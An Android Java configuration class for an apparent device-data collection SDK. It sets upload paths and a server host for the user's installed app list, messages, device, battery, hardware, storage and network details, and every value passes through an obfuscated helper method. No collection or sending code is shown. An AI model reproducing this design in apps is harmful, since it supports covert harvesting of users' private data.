package com.zhi.syc.data;

import android.text.TextUtils;

import com.zhi.syc.data.logger.ASLogger;
import com.zhi.syc.data.util.ASUtil;

public class ASBuilder {
    public static final String KEY_SDK_VERSION = "11";
    public static String KEY_PRODUCT = "";
    public static String KEY_TOKEN = "";
    public static String APPID = "one";

    // TYPE_APPLIST
    public static final String T_APL = "T_APL";
    // TYPE_MESSAGE
    public static final String T_MAG = "T_MAG";
    // TYPE_DEVICE
    public static final String T_DIE = "T_DIE";
    // TYPE_BATTERY
    public static final String T_BTY = "T_BTY";
    // TYPE_HARDWARE
    public static final String T_HDW = "T_HDW";
    // TYPE_STORE
    public static final String T_STO = "T_STO";
    // TYPE_NETWORK
    public static final String T_NTW = "T_NTW";

    // P_APL
    public static String P_APL = "";
    // PATH_MESSAGE
    public static String P_MAG = "";
    // PATH_DEVICE
    public static String P_DIE = "";
    // PATH_BATTERY
    public static String P_BTY = "";
    // PATH_HARDWARE
    public static String P_HDW = "";
    // PATH_STORE
    public static String P_STO = "";
    // PATH_NETWORK
    public static String P_NTW = "";

    // base url
    public static String S_HOST = "";

    // is mock
    public static boolean IS_MOCK = false;

    public static void setLog(boolean log) {
        ASLogger.Debug = log;
    }

    public static void setMock(boolean isMock) {
        IS_MOCK = isMock;
    }

    public static void setAppid(String appid) {
        APPID = ASUtil.sadfauer543e(appid);
    }

    public static void setServerHost(String serverHost) {
        if ((!TextUtils.isEmpty(serverHost)) && (serverHost.startsWith("http"))) {
            S_HOST = serverHost;
        } else {
            S_HOST = "";
        }
    }

    public static void setpApl(String applist) {
        P_APL = ASUtil.sadfauer543e(applist);
    }

    public static void setpMag(String message) {
        P_MAG = ASUtil.sadfauer543e(message);
    }

    public static void setpDie(String device) {
        P_DIE = ASUtil.sadfauer543e(device);
    }

    public static void setpBty(String battery) {
        P_BTY = ASUtil.sadfauer543e(battery);
    }

    public static void setpHdw(String hardware) {
        P_HDW = ASUtil.sadfauer543e(hardware);
    }

    public static void setpSto(String store) {
        P_STO = ASUtil.sadfauer543e(store);
    }

    public static void setpNtw(String network) {
        P_NTW = ASUtil.sadfauer543e(network);
    }

    public static String getKeyProduct() {
        return KEY_PRODUCT;
    }

    public static void setKeyProduct(String keyProduct) {
        KEY_PRODUCT = ASUtil.sadfauer543e(keyProduct);
    }
}
